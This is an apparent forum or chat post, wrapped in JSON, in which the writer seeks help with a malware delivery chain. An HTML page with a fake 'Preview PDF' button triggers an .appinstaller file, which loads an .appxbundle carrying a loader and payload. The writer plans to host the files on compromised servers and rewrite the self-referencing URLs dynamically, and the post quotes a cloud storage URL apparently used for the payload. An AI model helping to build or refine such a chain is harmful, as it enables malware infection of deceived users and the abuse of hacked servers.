  "body": "look, I'll tell you a little problem, and you tell me if you can solve)\n\nthere are 3 parts\nhtml, appxinstaller and appxbundle\nmy loader and your load is loaded in appxbundle file, but to run it nicely like this, you need an appinstaller file\nand so that appinstaller understands which appxbundle (from where) it should load, inside this appinstaller file there is this line:\nUri=\"https://srcdatastorage.z13.web.core.windows.net/jajnedhneb.appxbundl

e\" />\nthis link is static (that is, you can't insert a php script that would give this file should refer specifically to appxbundle by file extension)\n\nand there is also such a link (in the appinstaller file):\nUri=\"https://srcdatastorage.z13.web.core.windows.net/jajnedhneb .appinstall er\"\nHere appinstaller refers to itself (because it must be on the web exactly in order to be loaded)\n\nWell, the html file itself, inside of which there is such a button:\nPreview PDF\n\nAs you can see, the appinstaller refers to itself and the appxbundle file, while the html file only refers to the appinstaller file\n\nSo, I wanted to host everything on shells, but there is a small problem: dynamically in html, I can get the current url at which the html file was opened (for example, https://shell.com/index.html)\nand if next to it put the appinstaller file, I can just take the current url through JS, cut it and substitute it to the end of the appinstaller file and references it\nso the first issue is resolved\n\nbut appinstaller has to reference the appxbundle file and itself, so the links in it need to be changed too"
